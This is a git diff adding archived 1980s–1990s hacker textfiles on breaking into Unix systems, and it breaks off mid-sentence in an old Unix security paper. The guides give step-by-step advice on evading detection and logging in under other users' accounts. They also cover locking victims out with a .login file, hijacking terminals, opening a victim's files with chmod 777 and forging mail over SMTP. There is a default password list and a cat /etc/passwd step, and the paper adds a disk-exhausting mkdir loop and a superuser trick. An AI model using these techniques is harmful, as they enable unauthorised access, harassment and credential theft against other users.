So, you could usually get on, and create +havoc, and at first they will think it is a bug.. I have seen this +happen ALL to many times, and it is always the same story... +The VAR is out for a fast buck, so they set up the software (all they know +how to do), and install any software packages ordered with it (following +the step by step instructions). Then they turn it over to the business +who runs a word processor, or database, or something, un aware that a +"shell" or command line exists, and they probably don't even know root does. +So, we will see more and more of these pop up, especially since AT&T is +now bundling a version of Xwindows with their new System V, and Simultask... +which will lead to even more holes. You'll find systems local to you +that are easy as hell to get into, and you'll see what I mean. These +VARs are really actually working for us. If a security problem arises +that the business is aware of, they call the VAR to fix it... Of course, +the Var gets paid by the hour, and leaves something open so you'll get in +again, and they make more moolahhhh. + + +You can use this phile for whatever you want. I can't stop you. Just +to learn unix (heh) or whatever. But its YOUR ass if you get caught. +Always consider the penalties before you attempt something. Sometimes +it is not worth it, Sometimes it is. + +This phile was not meant to be comprehensive, even though it may seem like +it. I have left out a LOT of techniques, and quirks, specifically to get +you to learn SOMETHING on your own, and also to retain information so +I will have some secrets. You may pass this file on, UNMODIFIED, to any +GOOD H/P BBS. Sysops can add things to the archieve to say where +it was DL'd from, or to the text viewer for the same purpose. This is +Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990. + +-Sir Hackalot of PHAZE +1990. + + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/unixsysv.hac b/textfiles.com/hacking/UNIX/unixsysv.hac new file mode 100644 index 00000000..3d4ee5c3 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixsysv.hac @@ -0,0 +1,231 @@ + From THE HACKER'S GUIDE TO W.S.U. comes + the ultimate in weekend entertainment + + + + ------------ + ------------------------- + How to Hack UNIX System V + ------------------------- + includes the INTRODUCTION TO HACKING + and HOW TO NOT GET CAUGHT + ------------------------- + ------------ + + + + Version: 2.0 + + + + +INTRODUCTION TO HACKING +======================= + Hacking is the art of attempting everything until something finally works. +The average hacker is usually only armed with educated guesses. Why hack? +Generally, you have some reason. My favorite reason being that it's fun. But +these days are getting pretty suspicious and you have to watch yourself when +hacking even if you don't have malicious intents. Hacking is lots of work and +is also dangerous. So be careful and don't get caught! + +HOW TO NOT GET CAUGHT +===================== + Okay great, how do I avoid getting caught? That depends on what you are +doing. In this file I will be discussing UNIX System V and therefore my +suggestions should only be taken as pertaining to that. Even if you follow +my suggestions, you can still get caught. Some operators are extremely +persistant and will stop at nothing to nail you. If modems start answering +when you pick up a phone, or you become known as the "human carrier" by your +friends, then I suggest you lay low for awhile. + Here are some obvious things to be aware of when you are hacking by modem, +I thought I'd include them in case you overlook them. You should always be +on the lookout for these types of suspicious activity. + 1] Excessive line noise in an area that usually has none. + 2] You hear other voices simultaneously on the phone line. + This occasionally happens normally with the old analog FDM + multiplex equipment. But it also can be caused by a wire tap, + so try to be careful here! * See the note on wire taps. + 3] Any van or minivan parked next to: + a] A telephone pole. + b] An underground steam vent hole. + c] Also watch for cloth tee-pees with MA BELL symbols on them + near poles or steam vents. + This is a *DEAD GIVAWAY*!!! If you see this, cease all hacking + for at least a month! (An make sure that the vans are GONE, + --NOT-- just moved to another location!) + >> Check for wires going to the van from the pole, or vent. And + check to see if the van is white (FBI uses these alot) or a + phone co. van. + 4] Watch the abandoned rooms in your building, if they suddenly have + lots of equipment in them, take note here! + 5] Anything unusual about the way your phone service operates that + the neighbors don't seem to have going on! +That's all I can come up with right now. But I'm sure there are more. + +WIRE TAPS +========= + Belive it or not, this is still one of the most commonly used methods +of nabbing a hacker. The above list is a good guide to detecting an active +wire tap. If you can afford the equipment, you can do what is know as a +"sweep" of the phone line every now and then. Another thing you can do is +build a device which monitors the phone line voltage. If the voltage suddenly +drops during use, you either have a wire tap or someone picked up an extension. +Here are some specs for monitoring line voltage: + Ringer voltage:90V at 20-30Hz + On-Line:30-50V + Clear voltage:600V (Watch out! This will toast any MOV you have + in your modem! Usually this is used to fuse noisy + phone lines shut.) +The average cops don't have the equipment to properly implement a wire tap, +much less a data tap. However, I have heard of data cops in Seattle and +Chicago. + +TRACING PHONE CALLS +=================== + Here is yet another way you can get your butt caught. It is getting +easier and easier for the average person to trace phone calls. I just +found out a few days ago that dialing 33 on an on-campus phone will trace +the last call to that phone. Rest assured that an operator will use this +to nab you if he can. This however, only affects remote dial-ups, and not +the on-campus links. Remote dial-ups used to be so safe, but no more... +A good place to hack from is a nearby terminal room. *NOT* in the same +building that you live in! Do it at night, so if there is a system operator +at all on duty late he will probably be sleeping. + +RFI READING +=========== + This is a fairly new method of catching hackers, and I really don't think +the average hacker has much to worry from it. It is too complex to implement +and doesn't even work most of the time. Especially if you're in an area that +has lots of TV's or computer monitors. The device used basicly reads the +faint radio frequencies created by your monitor and translates them back into +a video signal. When it actually does work the guy running it can see exactly +what you are seeing on your monitor. Pretty tricky, but he has to be able to +pick out your signal first. + +ESS -- IT'S BAD +=============== + Alright boys and girls, on top of everything else in the world we now are +bless with the wonders of Electronic Standardized Switching. Or otherwise +known as ESS. Remember that sharp increase in your phone bill about a year +ago? "It's a new computerized system designed to allow quicker routing of +your calls". Bullshit. It sole purpose is to catch phreakers. That's all +it does, and it does it well. With this, the phone co. can trace a call in +.55 seconds to anywhere. It keeps records on all calls, including local! +And just about every phone box in the books will not only refuse to work, +ESS will notify the cops when you try to use it! + Have some faith. ESS is not exactly the end of the world either. Like +every system ever come up with, people will hack it. And eventually it will +be just as easy to hack ESS as it was to do on the old phone system. + + + + + + + +++++++++++++++++++++++++++++++++++++ + Okay! Enough beginner's stuff! + Onward to hacking UNIX System V ! + +++++++++++++++++++++++++++++++++++++ + + +Not much here: I just started this paper, and am still looking for + anything I can add to it! +Remember: The operator can see what you are doing at all times! But + usually they don't care or the information scrolls by so + fast they don't have time to read it. +Note: If you flub up your password or try to access secured files, the + system will automaticly record everything that you do! And on + some systems, the system will record everything you do anyway! + + +HOW TO LOG ON UNDER ANOTHER USER'S NAME +======================================= + This is the heart of hacking a UNIX system. You don't want to do any +hacking under any ID that can be associated with you. And you don't want +to use another user's ID more than once if at all possible. + + There really is no way to get a name and password without first having +some level of access to the system. How do I get in then? I rely on the +fact that our GANDALF data switch is extremely unstable. 1 out of 5 logins +will drop you under someone else's name *NO QUESTIONS ASKED*. Just change +parity (8N1 to E71) alot while GANDALF is loading UNIX. Eventually, you +will get in this way. This happens because a user hung up on the phone +line without loggig off! So be sure to log yourself off the system when +you finish with *ANY* work. + + They saw. A couple of days ago I was doing this and somehow I was +logged off of the system. The words "LOGOFF" just appeared on my command +prompt and entered themselfs. I suspect the guy whose number I used was in +the terminal room monitored by a superuser. And he just told the SU that +there appeared to be two of him. (Probably used the WHO command). + +THE LOCK OUT +============ + Believe it or not, UNIX will actually allow you to lock out other +users from the system. First, you select a target person. Then you place +the file VI.LOGIN in their default directory (the one that UNIX automaticly +loads them into when they log onto the system). You set up VI.LOGIN like +this: + + VI.LOGIN (Just the file name!) + logout + +So VI.LOGIN only contains one command. VI.LOGIN is automaticly executed +when a person logs onto the system. So as soon as your pigeon gets onto the +system he immeadiatly gets logged off! + +Suggested Uses: On a Prof a few days before your assignment is due. + Someone you really don't like (wait a few weeks so they + don't figure it out right away!) + It might work on the ROOT (The SuperUser's name) + +GETTING NEW NAMES +================= + Here is yet another way to gather SEVERAL users names AND PASSWORDS. +First, (the hard part) wait until the beginning of a semester. Now, +somehow you have to get a list of the ID numbers for students in UNIX- +oriented classes. You can usually find one of these lists posted outside +a professor's office (try the computer science building) or one of many +other places. Anyways, you have a list of student ID numbers. + + Now, preferably on the first day of class, start logging in as a few +(maybe 3-4) students. I prefer to use ID's from low-level (100's) classes +as the students will just think that they've screwed up. Log into the +system, and if the student hasn't been on the system before, you will +be prompted for a password! And viola! You not only have access but also +you have the password of your choice. This happens because the computing +faculty is too lazy to pass out customized passwords to thier students. +New students are expected to select their own passwords, but that means +that the system won't be able to tell who is who! + +Suggested Uses: Most likely your access won't stay good for more than + a few days. You might want to take full advantage of it + and really cause some havoc. For one thing, you could + lock out an entire computer class! (See LOCK OUT + described above). If you're really good, and can crack + the coded passwords in the PASSWRDS file, then you can + get the Super-User (SU) password and have all the fun + you want! + + + + + + ========= + THE END + ========= + + And Remember! + This paper was provided for educational purposes only! + + Special thanks to: + ================== + The Mad Phone-Man + The Grey Sorcerer + The Sneak Thief + Harry Hackalot + + + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/unixsysv.txt b/textfiles.com/hacking/UNIX/unixsysv.txt new file mode 100644 index 00000000..2dad93e1 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixsysv.txt @@ -0,0 +1,237 @@ +UNIXSYSV.HAK + + +UNIXSYSV.HAK - File on hacking Unix System V's + + + + From THE HACKER'S GUIDE TO W.S.U. comes + the ultimate in weekend entertainment + + + + ------------ + How to Hack UNIX System V + ------------------------- + includes the INTRODUCTION TO HACKING + and HOW TO NOT GET CAUGHT + ------------------------- + ------------ + + + + Last Revision: 1-18-89 + Version: 2.0 + + + +INTRODUCTION TO HACKING +======================= + Hacking is the art of attempting everything until something finally works. +The average hacker is usually only armed with educated guesses. Why hack? +Generally, you have some reason. My favorite reason being that it's fun. But +these days are getting pretty suspicious and you have to watch yourself when +hacking even if you don't have malicious intents. Hacking is lots of work and +is also dangerous. So be careful and don't get caught! + +HOW TO NOT GET CAUGHT +===================== + Okay great, how do I avoid getting caught? That depends on what you are +doing. In this file I will be discussing UNIX System V and therefore my +suggestions should only be taken as pertaining to that. Even if you follow +my suggestions, you can still get caught. Some operators are extremely +persistant and will stop at nothing to nail you. If modems start answering +when you pick up a phone, or you become known as the "human carrier" by your +friends, then I suggest you lay low for awhile. + Here are some obvious things to be aware of when you are hacking by modem, +I thought I'd include them in case you overlook them. You should always be +on the lookout for these types of suspicious activity. + 1] Excessive line noise in an area that usually has none. + 2] You hear other voices simultaneously on the phone line. + This occasionally happens normally with the old analog FDM + multiplex equipment. But it also can be caused by a wire tap, + so try to be careful here! * See the note on wire taps. + 3] Any van or minivan parked next to: + a] A telephone pole. + b] An underground steam vent hole. + c] Also watch for cloth tee-pees with MA BELL symbols on them + near poles or steam vents. + This is a *DEAD GIVAWAY*!!! If you see this, cease all hacking + for at least a month! (An make sure that the vans are GONE, + --NOT-- just moved to another location!) + >> Check for wires going to the van from the pole, or vent. And + check to see if the van is white (FBI uses these alot) or a + phone co. van. + 4] Watch the abandoned rooms in your building, if they suddenly have + lots of equipment in them, take note here! + 5] Anything unusual about the way your phone service operates that + the neighbors don't seem to have going on! +That's all I can come up with right now. But I'm sure there are more. + +WIRE TAPS +========= +Belive it or not, this is still one of the most commonly used methods +of nabbing a hacker. The above list is a good guide to detecting an active +wire tap. If you can afford the equipment, you can do what is know as a +"sweep" of the phone line every now and then. Another thing you can do is +build a device which monitors the phone line voltage. If the voltage suddenly +drops during use, you either have a wire tap or someone picked up an extension. +Here are some specs for monitoring line voltage: + Ringer voltage:90V at 20-30Hz + On-Line:30-50V + Clear voltage:600V (Watch out! This will toast any MOV you have + in your modem! Usually this is used to fuse noisy + phone lines shut.) +The average cops don't have the equipment to properly implement a wire tap, +much less a data tap. However, I have heard of data cops in Seattle and +Chicago. + +TRACING PHONE CALLS +=================== + Here is yet another way you can get your butt caught. It is getting +easier and easier for the average person to trace phone calls. I just +found out a few days ago that dialing 33 on an on-campus phone will trace +the last call to that phone. Rest assured that an operator will use this +to nab you if he can. This however, only affects remote dial-ups, and not +the on-campus links. Remote dial-ups used to be so safe, but no more... +-- more --A good place to hack from is a nearby terminal room. *NOT* in the same +building that you live in! Do it at night, so if there is a system operator +at all on duty late he will probably be sleeping. + +RFI READING +=========== + This is a fairly new method of catching hackers, and I really don't think +the average hacker has much to worry from it. It is too complex to implement +and doesn't even work most of the time. Especially if you're in an area that +has lots of TV's or computer monitors. The device used basicly reads the +faint radio frequencies created by your monitor and translates them back into +a video signal. When it actually does work the guy running it can see exactly +what you are seeing on your monitor. Pretty tricky, but he has to be able to +pick out your signal first. + +ESS -- IT'S BAD +=============== + Alright boys and girls, on top of everything else in the world we now are +bless with the wonders of Electronic Standardized Switching. Or otherwise +known as ESS. Remember that sharp increase in your phone bill about a year +ago? "It's a new computerized system designed to allow quicker routing of +your calls". Bullshit. It sole purpose is to catch phreakers. That's all +it does, and it does it well. With this, the phone co. can trace a call in +-- more --.55 seconds to anywhere. It keeps records on all calls, including local! +And just about every phone box in the books will not only refuse to work, +ESS will notify the cops when you try to use it! + Have some faith. ESS is not exactly the end of the world either. Like +every system ever come up with, people will hack it. And eventually it will +be just as easy to hack ESS as it was to do on the old phone system. + + + + + + + +++++++++++++++++++++++++++++++++++++ + Okay! Enough beginner's stuff! + Onward to hacking UNIX System V ! + +++++++++++++++++++++++++++++++++++++ + + +Not much here: I just started this paper, and am still looking for + anything I can add to it! +Remember: The operator can see what you are doing at all times! But + usually they don't care or the information scrolls by so + fast they don't have time to read it. +Note: If you flub up your password or try to access secured files, the + system will automaticly record everything that you do! And on + some systems, the system will record everything you do anyway! + + +HOW TO LOG ON UNDER ANOTHER USER'S NAME +======================================= + This is the heart of hacking a UNIX system. You don't want to do any +hacking under any ID that can be associated with you. And you don't want +to use another user's ID more than once if at all possible. + + There really is no way to get a name and password without first having +some level of access to the system. How do I get in then? I rely on the +fact that our GANDALF data switch is extremely unstable. 1 out of 5 logins +will drop you under someone else's name *NO QUESTIONS ASKED*. Just change +parity (8N1 to E71) alot while GANDALF is loading UNIX. Eventually, you +will get in this way. This happens because a user hung up on the phone +line without loggig off! So be sure to log yourself off the system when +you finish with *ANY* work. + + They saw. A couple of days ago I was doing this and somehow I was +logged off of the system. The words "LOGOFF" just appeared on my command +prompt and entered themselfs. I suspect the guy whose number I used was in +-- more --the terminal room monitored by a superuser. And he just told the SU that +there appeared to be two of him. (Probably used the WHO command). + +THE LOCK OUT +============ + Believe it or not, UNIX will actually allow you to lock out other +users from the system. First, you select a target person. Then you place +the file VI.LOGIN in their default directory (the one that UNIX automaticly +loads them into when they log onto the system). You set up VI.LOGIN like +this: + + VI.LOGIN (Just the file name!) + logout + +So VI.LOGIN only contains one command. VI.LOGIN is automaticly executed +when a person logs onto the system. So as soon as your pigeon gets onto the +system he immeadiatly gets logged off! + +Suggested Uses: On a Prof a few days before your assignment is due. + Someone you really don't like (wait a few weeks so they + don't figure it out right away!) + It might work on the ROOT (The SuperUser's name) + +GETTING NEW NAMES +================= + Here is yet another way to gather SEVERAL users names AND PASSWORDS. +First, (the hard part) wait until the beginning of a semester. Now, +somehow you have to get a list of the ID numbers for students in UNIX- +oriented classes. You can usually find one of these lists posted outside +a professor's office (try the computer science building) or one of many +other places. Anyways, you have a list of student ID numbers. + + Now, preferably on the first day of class, start logging in as a few +(maybe 3-4) students. I prefer to use ID's from low-level (100's) classes +as the students will just think that they've screwed up. Log into the +system, and if the student hasn't been on the system before, you will +be prompted for a password! And viola! You not only have access but also +you have the password of your choice. This happens because the computing +faculty is too lazy to pass out customized passwords to thier students. +New students are expected to select their own passwords, but that means +that the system won't be able to tell who is who! + +Suggested Uses: Most likely your access won't stay good for more than + a few days. You might want to take full advantage of it + and really cause some havoc. For one thing, you could + lock out an entire computer class! (See LOCK OUT + described above). If you're really good, and can crack + the coded passwords in the PASSWRDS file, then you can + get the Super-User (SU) password and have all the fun + you want! + + + + + + ========= + THE END + ========= + + And Remember! + This paper was provided for educational purposes only! + + Special thanks to: + ================== + The Mad Phone-Man + The Grey Sorcerer + The Sneak Thief + Harry Hackalot + + + + diff --git a/textfiles.com/hacking/UNIX/unixtips b/textfiles.com/hacking/UNIX/unixtips new file mode 100644 index 00000000..78be95db --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixtips @@ -0,0 +1,655 @@ + + *** A List Of Some OF The Most Useful UNIX ** + *** Hacking Commands, and Some Hints On Their Usage *** + +--------------------------------------------------------------- + + It is fun and often usefull to create a file that is owned +by someone else. On most systems with slack security ie 99% of +all UNIX systems, this is quite easily done. The chown command +will change any of your files to make someone else the owner. +Format is as follows: + +chown ownername filelist + + Where ownername is the new owner, and filelist is the list of +files to change. You must own the file which your are goin to +change, unless you are a superuser....then u can change ANYTHING! + chgrp is a similar command which will change the group +ownership on a file. If you are going to do both a chown and a +chgrp on a file, then make sure you do the chgrp first! Once the +file is owned by someone else, you cant change nything about it! + +--------------------------------------------------------------- + + Sometimes just seeing who is on the system is a challenge in +itself. The best way is to write your own version of who in C, +but if you can't do that then this may be of some help to you: + + who followed by on or more of the following flags: + + -b Displays time sys as last booted. + -H Precedes output with header. + -l Lists lines waiting for users to logon. + -q displays number of users logged on. + -t displays time sys clock was last changed. + -T displays the state field (a + indicates it is +possible to send to terminal, a - means u cannot) + -u Give a complete listing of those logged on. + + **who -HTu is about the best choice for the average user** + +##by the way, the list of users logged on is kept in the file +/etc/utmp. If you want to write your own personalised version of +who in C, you now know where to look!### + +--------------------------------------------------------------- + + When a users state field (see -T flag option for who +command) says that a user has their message function on, this +actually means that it is possible to get stuff onto their +screen. + Basically, every terminal on the system has a file +corresponding to it. These files can be found in the /dev +directory. You can to anything to these files, so long as you +have access -eg you can read them, and write to them, but you +will notice that they never change in size. They are called +character specific files, and are really the link between the +system and the terminals. Whatever you put in these files will +go staright to the terminal it corresponds to. + Unfortunately, on most systems, when the user logs in, the +"mesg n" command is issued which turns off write access to that +terminal, BUT- if you can start cating to that terminal before +system issues the mesg n command, then you will continue to be +able to get stuff up on that terminal! This has many varied uses. + + Check out the terminal, or terminal software being used. +Often you will be able to remotely program another users +terminal, simply by 'cating' a string to a users screen. You +might be able to set up a buffer, capturing all that is typed, or +you may be able to send the terminal into a frenzy- (sometimes a +user will walk away without realizing that they are sill +effectively logged on, leaving you with access to their +account!). Some terminal types also have this great command +called transmit screen. It transmits everything on the screen, +just as if the user had typed it ! + So just say I wanted to log off a user, then I would send a +clear screen command (usually ctrl l), followed by "exit" +followed by a carriage return, followed by the transmit screen +code. Using ths technique you can wipe peoples directories or +anything. My favourite is to set open access on all their files +and directories so I can peruse them for deletion etc at my own +leisure). + +--------------------------------------------------------------- + + If you ever briefly get access to another persons account +eg. they leave the room to go to toilet or whatever, then simply +type the following: + +chmod 777 $HOME +chmod 777 $MAIL + + Then clear the screen so they dont see what you just typed. + + Now you can go look at their directory, and their mail, and +you can even put mail in their mail file. (just use the same +format as any mail that is already there!). Next time they log in +the system will automatically inform them they have new mail! + +--------------------------------------------------------------- + + Another way to send fake mail to people is to use the mail +server. This method produces mail that is slightly different to +normal, so anyone who uses UNIX a bit may be suspiscious when +they receive it, but it will fool the average user! + +type telnet + +the following prompt will appear: + +telnet> + +now type : + +open localhost 25 + +some crap will come up about the mail server..now type: + +mail from: xxxxxx Put any name you want. + +some more bullshit will come up. Now type: + +rcpt to: xxxxxx Put the name of the person to receive mail here. + +now type: + +data + +now you can type the letter...end it with a "." +type quit to exit once you are done. + +------------------------------------------------------------- + + Heres one for any experimenters out there... +It is possible to create files which simply cannot be deleted +from the standard shell. To do this you will have to physically +CREATE THE FILE USING A C PROGRAM or SCRIPT FILE, and you will +have to use a sequence of control characters which cannot be +typed from the shell. Try things like Ctrl-h (this is the +code for the delete key). Just a file with the name Ctrl-h would +not be deleteable from the shell, unless you used wildcards. So, +make it a nice long series of characters, so that to delete the +file, the user has no choice but to individually copy all his +files elsewhere, then delete everything in his directory, and +then copy all his files back.....this is one of my +favourites..gets em every time! + + The following script file is an example which will create a +file with the name Ctrl-h. You MUST tyoe this file in using the +vi editor or similar. +*****If you are not very good with vi, type "man vi" and print the +help file...it even contains stuff that I find useful now and +then.***** + +type the following in vi... + +echo'' > 'a^h' + + ***NOTE...to get the ^h (this really means ctrl-h) from vi type: + +Ctrl v +Ctrl h + + The Ctrl v instrcts vi to take the next character as a ascii +character, and not to interpret it. + change the access on the file you just created and now +execute it. It will create a file which looks like it is called +a, but try to delete it !..use wildcards if you really want to +delete it. + +*> Title: Tutorial on hacking through a UNIX system + + +** + +In the following file, all references made to the name Unix, may also be +substituted to the Xenix operating system. + +Brief history: Back in the early sixties, during the development of +third generation computers at MIT, a group of programmers studying the +potential of computers, discovered their ability of performing two or +more tasks simultaneously. Bell Labs, taking notice of this discovery, +provided funds for their developmental scientists to investigate into this +new frontier. After about 2 years of developmental research, they produced +an operating system they called "Unix". +Sixties to Current: During this time Bell Systems installed the Unix system +to provide their computer operators with the ability to multitask so that +they could become more productive, and efficient. One of the systems they +put on the Unix system was called "Elmos". Through Elmos many tasks (i.e. +billing,and installation records) could be done by many people using the same +mainframe. + +Note: Cosmos is accessed through the Elmos system. + +Current: Today, with the development of micro computers, such multitasking +can be achieved by a scaled down version of Unix (but just as +powerful). Microsoft,seeing this development, opted to develop their own +Unix like system for the IBM line of PC/XT's. Their result they called +Xenix (pronounced zee-nicks). Both Unix and Xenix can be easily installed +on IBM PC's and offer the same function (just 2 different vendors). + +Note: Due to the many different versions of Unix (Berkley Unix, +Bell System III, and System V the most popular) many commands +following may/may not work. I have written them in System V routines. +Unix/Xenix operating systems will be considered identical systems below. + +How to tell if/if not you are on a Unix system: Unix systems are quite +common systems across the country. Their security appears as such: + +Login; (or login;) +password: + +When hacking on a Unix system it is best to use lowercase because the Unix +system commands are all done in lower- case. Login; is a 1-8 character field. It is +usually the name (i.e. joe or fred) of the user, or initials (i.e. j.jones +or f.wilson). Hints for login names can be found trashing the location of +the dial-up (use your CN/A to find where the computer is). Password: is a 1-8 character password assigned by the sysop or chosen by the user. + + Common default logins + -------------------------- + login; Password: + root root,system,etc.. + sys sys,system + daemon daemon + uucp uucp + tty tty + test test + unix unix + bin bin + adm adm + who who + learn learn + uuhost uuhost + nuucp nuucp + +If you guess a login name and you are not asked for a password, and have +accessed to the system, then you have what is known as a non-gifted account. +If you guess a correct login and pass- word, then you have a user account. +And, if you get the root p/w you have a "super-user" account. +All Unix systems have the following installed to their system: +root, sys, bin, daemon, uucp, adm Once you are in the system, you will +get a prompt. Common prompts are: + +$ +% +# + +But can be just about anything the sysop or user wants it to be. + +Things to do when you are in: Some of the commands that you may want to +try follow below: + +who is on (shows who is currently logged on the system.) +write name (name is the person you wish to chat with) +To exit chat mode try ctrl-D. +EOT=End of Transfer. +ls -a (list all files in current directory.) +du -a (checks amount of memory your files use;disk usage) +cd\name (name is the name of the sub-directory you choose) +cd\ (brings your home directory to current use) +cat name (name is a filename either a program or documentation your username has written) + Most Unix programs are written in the C language or Pascal + since Unix is a programmers' environment. One of the first things done on the +system is print up or capture (in a buffer) the file containing all user names and accounts. This can be done by doing the following command: + +cat /etc/passwd + +If you are successful you will see a list of all accounts on the system. It +should look like this: +root:hvnsdcf:0:0:root dir:/: joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe hal::1:2:Hal Smith:/bin:/bin/hal + +The "root" line tells the following info : +login name=root +hvnsdcf = encrypted password +0 = user group number +0 = user number +root dir = name of user +/ = root directory + +In the Joe login, the last part "/bin/joe " tells us which directory +is his home directory (joe) is. In the "hal" example the login name is +followed by 2 colons, that means that there is no password needed to get in +using his name. + +Conclusion: I hope that this file will help other novice Unix hackers +obtain access to the Unix/Xenix systems that they may find. + + + + On the Security of UNIX + + =-=-=-=-=-=-=-=-=-=-=-= + +Recently there has been much interest in the security aspects of operating + +systems and software.At issue is the ability to prevent undesired disclosure of + +information, destruction of information,and harm to the functioning of the + +system.This paper discusses the degree of security which can be provided under + +the system and offers a number of hints on how to improve security.The first + +fact to face is that UNIX was not developed with security,in any realistic + +sense,in mind;this fact alone guarantees a vast number of holes.(Actually the + +same statement can be made with respect to most systems.) + + + +The area of security in which is theoretically weakest is in protecting against + +crashing or at least crippling the operation of the system.The problem here is + +not mainly in uncritical acceptance of bad parameters to system calls (there + +may be bugs in this area, but none are known)but rather in lack of checks for + +excessive consumption of resources. + + + +Most notably, there is no limit on the amount of disk storage used, either in + +total space allocated or in the number of files or directories.Here is a + +particularly ghastly shell sequence guaranteed to stop the system: + + + + + +while : ; do + + mkdir x + + cd x + +done + + + +Either a panic will occur because all the i-nodes on the device are used up, + +or all the disk blocks will be consumed, thus preventing anyone from writing + +files on the device.In this version of the system,users are prevented from + +creating more than a set number of processes simultaneously,so unless users + +are in collusion it is unlikely that any one can stop the system altogether. + + + +However, creation of 20 or so CPU or disk-bound jobs leaves few resources + +available for others.Also, if many large jobs are run simultaneously,swap space + +may run out, causing a panic. It should be evident that excessive consumption + +of diskspace, files, swap space and processes can easily occur accidentally in + +malfunctioning programs as well as at command level.In fact UNIX is essentially + +defenseless against this kind of abuse,nor is there any easy fix.The best that + +can be said is that it is generally fairly easy to detect what has happened + +when disaster strikes ,to identify the user responsible, and take appropriate + +action.In practice,we have found that difficulties in this area are rather + +rare,but we have not been faced with malicious users,and enjoy a fairly + +generous supply of resources which have served to cushion us against accidental + +overconsumption. + + + +The picture is considerably brighter in the area of protection of information + +from unauthorized perusal and destruction.Here the degree of security seems + +(almost) adequate theoretically, and the problems lie more in the necessity for + +care in the actual use of the system.Each UNIX file has associated with it + +eleven bits of protection information together with a user identification + +number and a user-group identification number (UID and GID). + + + +Nine of the protection bits are used to specify independently permission to + +read, to write, and to execute the file to the user himself, to members of the + +user's group, and to all other users.Each process generated by or for a user + +has associated with it an effective UID and a real UID, and an effective and + +real GID.When an attempt is made to access the file for reading, writing, or + +executing UID for the process is changed to the UID associated with the file; + +the change persists until the process terminates or until the UID changed again + +by another execution of a set-UID file.Similarly the effective group ID of a + +process is changed to the GID associated with a file when that file is executed + +and has the set-GID bit set.The real UID and GID of a process do not change + +when any file is executed,but only as the result of a privileged system + +call.The basic notion of the set-UID and set-GID bits is that one may write a + +program which is executableby others and which maintains files accessible to + +others only by that program. + + + +The classical example is the game-playing program which maintains records of + +the scores of its players.The program itself has to read and write the score + +file,but no one but the game's sponsor can be allowed unrestricted access to + +the file lest they manipulate the game to their own advantage. + + + +The solution is to turn on the set-UID bit of the game program. When, and only + +when,it is invoked by players of the game,it may update the score file but + +ordinary programs executed by others cannot access the score. There are a + +number of special cases involved in determining access permissions. Since + +executing a directory as a program is a meaningless operation,the + +execute-permission bit, for directories, is taken instead to mean permission to + +search the directory for a given file during the scanning of a path name; thus + +if a directory has execute permission but no read permission for a given user, + +he may access files with known names in the directory,but may not read (list) + +the entire contents of the directory. + + + +Write permission on a directory is interpreted to mean that the user may create + +and delete files in that directory;it is impossible for any user to write + +directly into any directory..Another, and from the point of view of security, + +much more serious special case is that there is a ``super user'' who is able to + +read any file and write any non-directory.The super-user is also able to change + +the protection mode and the owner UID and GID of any file and to invoke + +privileged system calls.It must be recognized that the mere notion of a + +super-user is a theoretical, and usually practical, blemish on any protection + +scheme. + + + +The first necessity for a secure system is of course arranging that all files + +and directories have the proper protection modes.Traditionally, UNIX software + +has been exceedingly permissive in this regard;essentially all commands create + +files readable and writable by everyone.In the current version,this policy may + +be easily adjusted to suit the needs ofthe installation or the individual user. + + + +Associated with each process and its descendants is a mask, which is in effect + +anded with the mode of every file and directory created by that process. In + +this way, users can arrange that, by default,all their files are no more + +accessible than they wish.The standard mask, set by login,allows all permiss- + +ions to the user himself and to his group,but disallows writing by others. + + + +To maintain both data privacy and data integrity,it is necessary, and largely + +sufficient,to make one's files inaccessible to others. The lack of sufficiency + +could follow from the existence of set-UID programs created by the user and the + +possibility of total breach of system security in one of the ways discussed + +below(or one of the ways not discussed below). + + + +For greater protection,an encryption scheme is available.Since the editor is + +able to create encrypted documents, and the crypt command can be used to pipe + +such documents into the other text-processing programs,the length of time + +during which clear text versions need be available is strictly limited.The + +encryption scheme used is not one of the strongest known, but it is judged + +adequate, in the sense that cryptanalysisis likely to require considerably more + +effort than more direct methods of reading the encrypted files.For example, a + +user who stores data that he regards as truly secret should be aware that he is + +implicitly trusting the system administrator not to install a version of the + +crypt command that stores every typed password in a file. Needless to say, the + +system administrators must be at least as careful as their most demanding user + +to place the correct protection mode on the files under their control. + + + +In particular,it is necessary that special files be protected from writing, and + +probably reading, by ordinary users when they store sensitive files belonging + +to otherusers.It is easy to write programs that examine and change files by + +accessing the device on which the files live. + + + +On the issue of password security,UNIX is probably better than most systems. + +Passwords are stored in an encrypted form which, in the absence of serious + +attention from specialists in the field,appears reasonably secure, provided its + +limitations are understood.In the current version, it is based on a slightl y + +defective version of the Federal DES;it is purposely defective so that + +easily-available hardware is useless for attempts at exhaustive + +key-search.Since both the encryption algorithm and the encrypted passwords are + +available,exhaustive enumeration of potential passwords is still feasible up to + +a point.We have observed that users choose passwords that are easy to + +guess:they are short, or from a limited alphabet, or in a dictionary. + +Passwords should be at least six characters long and randomly chosen from an + +alphabet which includes digits and special characters. + + + +Of course there also exist feasible non-cryptanalytic ways of finding out + +passwords.For example: write a program which types out ``login:''on the + +typewriter and copies whatever is typed to a file of your own. Then invoke the + +command and go away until the victim arrives..The set-UID (set-GID)notion must + +be used carefully if any security is to be maintained. The first thing to keep + +in mind is that a writable set-UID file can have another program copied onto + +it. + + + +For example, if the super-user command is writable,anyone can copy the shell + +onto it and get a password-free version of Shell Unix.A more subtle problem can + +come from set-UID programs which are not sufficiently careful of what is fed + +into them.To take an obsolete example,the previous version of the mail command + +was set-UID and owned by the super-user.This version sent mail to the r + +ecipient's own directory.The notion was that one should be able to send mail to + +anyone even if they want to protecttheir directories from writing. The trouble + +was that mailwas rather dumb:anyone could mail someone else's priva te file to + +himself.Much more seriousis the following scenario: make a file with a line + +like one in the password filewhich allows one to log in as the super-user.Then + +make a link named ``.mail'' to the password file in some writable directory on + +the same device as the password file (say /tmp). Finally mail the bogus login + +line to /tmp/.mail;You can then login as the superuser,clean up the + +incriminating evidence,and have your will. + + + +The fact that users can mount their own disks and tapes as file systems can be + +another way of gaining super-user status.Once a disk pack is mounted, the + +system believes what is on it.Thus one can take a blank disk pack,put on it + +anything desired,and mount it.There 